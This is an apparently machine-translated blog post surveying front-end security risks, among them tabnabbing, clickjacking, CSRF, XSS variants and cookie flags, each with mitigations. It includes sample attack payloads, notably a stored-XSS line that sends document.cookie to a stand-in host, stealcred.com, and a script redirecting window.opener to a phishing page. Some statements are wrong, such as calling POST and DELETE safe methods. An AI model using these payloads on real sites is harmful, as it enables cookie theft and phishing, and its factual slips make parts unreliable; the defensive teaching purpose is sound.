16 front-end security knowledge

16 front-end security knowledge

Last year's security course was React, and then I learned some possible security risks in React projects . This year, I looked at the list and saw that the front end was also updated, so I added this.

A very good institution to learn about various security risks is https://owasp.org/

In fact, in many cases, users may wish to ask suspicious websites to solve the problem... But, educating users is always a very difficult thing, and more protection is also necessary.

reverse tabnabbing

This is a pit that is very easy for many users to step on. The display effect is as follows:

insert image description here

Its working principle is window.openerrealized through the forward object. In fact, this vulnerability is really easy to be missed, because openerit used to Target=”_blank”be forwarded to a new webpage along with it. If the new webpage is a little bit impure, it will You can write a cloned webpage, and then steal user information relatively easily.

The trigger code is as follows:

  • The webpage under attack, assuming someone left a post or the like:

    <html>
      <body>
        <li>
          <a href="bad.example.com" target="_blank"
            >Vulnerable target using html link to open the new page</a
          >
        </li>
        <button onclick="window.open('https://bad.example.com')">
          Vulnerable target using javascript to open the new page
        </button>
      </body>
    </html>
    
  • Suspicious web page

    <html>
      <body>
        <script>
          if (window.opener) {
            
            
            window.opener.location = 'https://phish.example.com';
          }
        </script>
      </body>
    </html>
    

According to MDN, if you use now target="_blank", openerit is directly set to null. In addition, there are two ways to window.openerset to :null

  1. set uprel=noopener
  2. Cross-Origin-Opener-PolicySet assame-origin

HTTP Strict-Transport-Security (HSTS)

This is a solution to a Man-in-the-Middle attack. The diagram of this attack is as follows:

insert image description here

Some websites may have the implementation of HTTP first, and the URL is added https://www.example.com, which will allow users to visit http://www.example.comand redirect to https-encrypted websites. For users, in most cases, TA will not input the complete URL, but will input it directly www.example.com. At this time, the access will be directed to the HTTP version, and then redirected to the HTTPS version.

In other words, if a hacker registers http://www.example.comthis domain name, the user's information will first visit the HTTP version of the website. The hacker has no user information, but can redirect the user to the login URL to obtain user information.

If using 301:

HTTP/1.1 301 Moved Permanently
Date: ____________________
Content-Length: 0
Connection: close
Location: http://www.example.com/login.html

At this time, the user is redirected to http://www.example.com/login.htmlthe next step. Once the user provides the login information, the hacker will obtain the corresponding login information. At this time, the hacker will redirect the user to the HTTPS website.

One way to reduce risk is to use HTTP Strict-Transport-Security (HSTS), that is, to add a header, roughly as follows:

Strict-Transport-Security: max-age=31536000; includeSubdomains; preload

preloadIt is for users who have never visited the webpage and have not obtained the corresponding header. More information can be found in the reference.

No Server-Side Validation

This is relatively easy to understand. If there is no server-side verification, once the website receives an XSS attack, it can directly send problematic data to the server, or send problematic information to the server without going through the browser.

Click Jacking

The diagram is as follows:

insert image description here

One of the reasons for clicking action here is that the iframe is inlaid. By modifying the opacity, you can see the gradually displayed iframe:

insert image description here

This is another thing that users are easily fooled, because they can't see it, and they will click on the button (especially the one that closes the advertisement)...

There are two prevention methods here. One is to use X-Frame-Optionsto tell the browser not to render pages in nested tags (such as iframe, frame, embed, object), and the second is to use to Content Security Policy (CSP)prevent the current page from rendering nested tags.

For legacy support, the following code can be used:

<style>
  html {
      
      
    display: none;
  }
</style>
<!-- hides the document and prevents clicks -->
<script>
  if (top !== self) {
      
      
    top.location = self.location;
  } // Attempt to escape frame
  else {
      
      
    document.documentElement.style.display = 'block';
  } // If not in frame, make html visible
</script>

Cross Site Request Forgery(CSRF)

CSRF is also a relatively common attack. A common way is that the user opens a new website, which can obtain the session id in the browser, and then send the modification information to the server. If the server does not perform any verification, or It is simply believing the session id, then the server will perform the corresponding operation.

The solution is generally used:

  1. synchronizer token/anti-CSRF/CSRF token, an encrypted and semi-random token

    Every time the user loads the page or opens a new session, a new token can be generated, which can then be transmitted to the backend through HTML, json, http header, etc. When the user sends a request, the backend can verify whether the corresponding token is the same as the one currently stored, thereby performing verification

  2. double submit cookies

    This is used when the CSRF token in the session can be restored. In this case, the token will be added to the cookies and the request body. If the two tokens do not match, the request will be rejected

  3. Store the token in the header

    This is implemented depending on the same origin policy, so that third parties cannot use this token to complete the request

expired dependencies

Speaking of which, our project has been using sonatype to check dependencies recently, and then the release team will read the sonatype report, and if it is found that the risk of outdated packages is relatively high, there is no way to release it.

In addition, the data types accepted and transmitted must also be declared, such as:

$.get({
    
    
  url: 'https://www.example.com',
  dataType: 'application/json',
});

$.post({
    
    
  url: 'https://www.example.com',
  data: 'test',
  dataType: 'application/json',
});

DOM Based XSS

The attack suffered here is to use URL Fragment, that is, the part of the code that will not be transmitted to the server, such as the query parameter, such as: the user was deceived by a phishing website, and then clicked on https://www.example.com/#filter=Productsthis URL

Among them, filter=Productsthis section will be URLParams, and then send a request to the backend as a parameter. In other words, if the code has not been processed, localhost:5500/#filter=<img src="bogus.url" onError="alert('hacked')">the execution result of this code is:

insert image description here

The HTML part code is:

<script>
  const frag = window.location.hash.substr(1);
  const filterval = frag.split('filter=')[1].split('&')[0];
  filterval = decodeURI(filterval);
  document.querySelector('.filter').innerHTML =
    '<h2>Filtering by: "' + filterval + '"</h2>';
</script>

The two solutions are:

  1. innerHTMLInstead of usingtextContent
  2. Sanitize user input

The modified result is:

insert image description here

Modified code:

const HtmlEncode = (s) => {
    
    
  const HTMLCharMap = {
    
    
    '&': '&amp;',
    "'": '&#39;',
    '"': '&quot;',
    '<': '&lt;',
    '>': '&gt;',
    '\\': '&#x5c;',
    '`': '&#x60;',
    ':': '&#58;',
  };

  const encodeHTMLmapper = (ch) => {
    
    
    return HTMLCharMap[ch];
  };
  return s.replace(/[&"'<>\\`:]/g, encodeHTMLmapper);
};

const frag = window.location.hash.substr(1);
const filterval = frag.split('filter=')[1].split('&')[0];
filterval = decodeURI(filterval);
document.querySelector('.filter').textContent =
  '<h2>Filtering by: "' + HtmlEncode(filterval) + '"</h2>';

DOM Based in AJAX

This paragraph is actually a bit similar to the above, but the above uses HTML fragments. Here, the user may enter some information in the input or textarea. With the asynchronous sending of AJAX, the front end does not clean the user data, and the back end does not have clear data, which subsequently causes Malicious code is loaded in the webpage

DOM XSS in eval()

As above, eval is also a separate scope, which can be used to execute JS. In addition to cleaning up user data, avoid using eval and replace it withJSON.parse(json)

secure cookie flag

To put it simply, there is no securesuch flag in the cookie. This is to be seen in conjunction with the man-in-the-middle attack. The explanation in MDN is:

Indicates that the cookie is sent to the server only when a request is made with the https: scheme (except on localhost), and therefore, is more resistant to man-in-the-middle attacks.

In other words, when securethis flag appears, the browser will not bring cookies when communicating with HTTP websites, which can prevent third parties from carrying cookies when they visit HTTP first websites for the first time.

HttpOnly Cookie Flag

If it is set HttpOnly, then the cookie in the browser cannot be obtained in JavaScript. This is also a relatively common XSS attack. For the same consideration, the flag HttpOnly cannot be set in JS now

DOM Open Redirect

This refers to using JavaScript to get the URL from the fragment for redirection, such as: https://www.example.com/signon?cust=returning#url=https://www.eaxmple.com/redirect, here you will use #to get the redirected URL, and then use window.location = urlthe method in JS to redirect.

It should be noted that the original domain is example, and the domain of the redirected URL is eaxmple, that is,

example

eaxmple

That is to say, if you are not paying attention, the user may be redirected to a fake page.

The solutions are:

  • If possible, try not to allow users to serve redirected pages
  • If you need to redirect, do not redirect the entire URL, you can get the sub-directory, such as only getsignon
  • Add a whitelist and compare the data provided by the user with the list on the whitelist

Reflected XSS

Compared with fragment, query parameter is used here. For example https://example.com?search=%3Cscript%3Ealert('This application is vulnerable!')%3C%2Fscript%3E, users may obtain key information such as cookies by clicking such a URL.

Most of the processing methods are also mentioned above:

  • Sanitize user-provided data
  • Try not to render user-supplied data into critical code
  • Use other config for protection, such as HttpOnly, Content Security Policy HTTP Header, X-XSS-Protection HTTP Header

Stored (Persistent) XSS

A simple case is to provide such codes Steal Cred <script>document.write("<img src='https://www.stealcred.com/catch?cookie="+document.cookie+" '/>");</script>.to some user input boxes. If the code money backend has not been cleaned, then once the code is saved/persisted, any user who sees this comment/message User information will be stolen

The way to deal with it is still:

  • Sanitize user-provided data
  • Understand where user information will be rendered, and try not to inject it into places where JS may be mobilized
  • Use other config for protection, such as HttpOnly, Content Security Policy HTTP Header, X-XSS-Protection HTTP Header

Common XSS Use Cases

  • Data entered by the user is not sanitized, which may include ', ", </script><script>alert('We triggered the XSS!');/* etc``` and ${}etc.

  • Use to ${userInput.a}get user-supplied key-value pairs, another way is to usejson.parse()

  • Use in the code eval()to convert the JSON code, you can also usejson.parse()

  • evalPut user data directly into HTML tags such as , setTimeout(), setInterval(), Function()constructors, CSS, div, a, etc. without cleaning

  • Noscript actually has risks, for example:

    <noscript> Please turn on Javascript! </noscript> alert('hacked') </noscript> element cannot be displayed without Javascript! </noscript>

    In this case, an XSS attack will also be triggered

SameSite cookie attributes

SameSite cookie attributes have three values:

  • strict

    Only support access requests from the same domain name

  • lax

    At this time, the website supports two kinds of requests:

    • Safe HTTP methods such as POST/GET/PATCH/DELETE

    • top-level navigation

      According to a stack overflow answer, in simple terms:

      Basically, TOP LEVEL navigation changes the URL in your address bar. Resources that are loaded by iframe, img tags, and script tags do not change the URL in the address bar so none of them cause TOP LEVEL navigation.

  • none

    In this case, SameSitethe attribute is the same as if it is not set, which means that the development team deliberately meets the cross site request, so it needs to be setsecure

One solution to external access is that READ permission can be set to lax, and other operation permissions can be set to strict, so that external (third-party) users can browse the web, but there is no way to operate

Reference

Guess you like

Origin blog.csdn.net/weixin_42938619/article/details/132594655